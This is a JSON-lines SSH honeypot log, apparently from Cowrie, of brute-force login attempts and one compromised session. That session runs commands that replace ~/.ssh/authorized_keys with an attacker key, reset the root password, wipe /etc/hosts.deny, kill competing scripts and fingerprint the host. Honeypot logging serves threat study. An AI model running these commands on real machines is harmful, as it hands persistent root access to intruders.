{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.390934Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.458515Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.461440Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.484739Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.488250Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":55386,"dst_ip":"10.17.0.5","dst_port":22,"session":"2daeac8deabf","protocol":"ssh","message":"New connection: 198.23.150.42:55386 (10.17.0.5:22) [session: 2daeac8deabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.498937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.503131Z","src_ip":"198.23.150.42","session":"2daeac8deabf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.521059Z","src_ip":"198.23.150.42","session":"2daeac8deabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":64772,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6ecbc708f05","protocol":"ssh","message":"New connection: 95.90.13.168:64772 (10.17.0.5:22) [session: b6ecbc708f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.577990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.582854Z","src_ip":"95.90.13.168","session":"b6ecbc708f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.634308Z","src_ip":"198.23.150.42","session":"2daeac8deabf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.694365Z","src_ip":"95.90.13.168","session":"b6ecbc708f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night123","message":"login attempt [root/night123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:40.157757Z","src_ip":"95.90.13.168","session":"b6ecbc708f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:40.656570Z","src_ip":"198.23.150.42","session":"2daeac8deabf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":55388,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfa42117435a","protocol":"ssh","message":"New connection: 198.23.150.42:55388 (10.17.0.5:22) [session: cfa42117435a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:40.671322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:40.680255Z","src_ip":"198.23.150.42","session":"cfa42117435a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:40.700028Z","src_ip":"198.23.150.42","session":"cfa42117435a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:40.810495Z","src_ip":"198.23.150.42","session":"cfa42117435a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.266347Z","src_ip":"95.90.13.168","session":"b6ecbc708f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":52464,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9f60fc07a2","protocol":"ssh","message":"New connection: 182.180.57.212:52464 (10.17.0.5:22) [session: fb9f60fc07a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.363733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.368569Z","src_ip":"182.180.57.212","session":"fb9f60fc07a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.615451Z","src_ip":"182.180.57.212","session":"fb9f60fc07a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.833889Z","src_ip":"198.23.150.42","session":"cfa42117435a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.912694Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.916848Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:41.954450Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.027065Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:2zQi4EMsoqmt\"|chpasswd|bash","message":"CMD: echo \"root:2zQi4EMsoqmt\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.030123Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8dec9cc59be5f6861ece341935533aba470345cf23ae75b306350dc3805ef622","size":24,"shasum":"8dec9cc59be5f6861ece341935533aba470345cf23ae75b306350dc3805ef622","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/8dec9cc59be5f6861ece341935533aba470345cf23ae75b306350dc3805ef622 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.067845Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.148438Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.151932Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.178975Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.183061Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.287389Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.290906Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.327797Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.521163Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.524880Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.563564Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.642494Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.646256Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.649903Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.690531Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.771353Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.774844Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summit","message":"login attempt [root/summit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.791833Z","src_ip":"182.180.57.212","session":"fb9f60fc07a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.813396Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.893061Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:42.896734Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
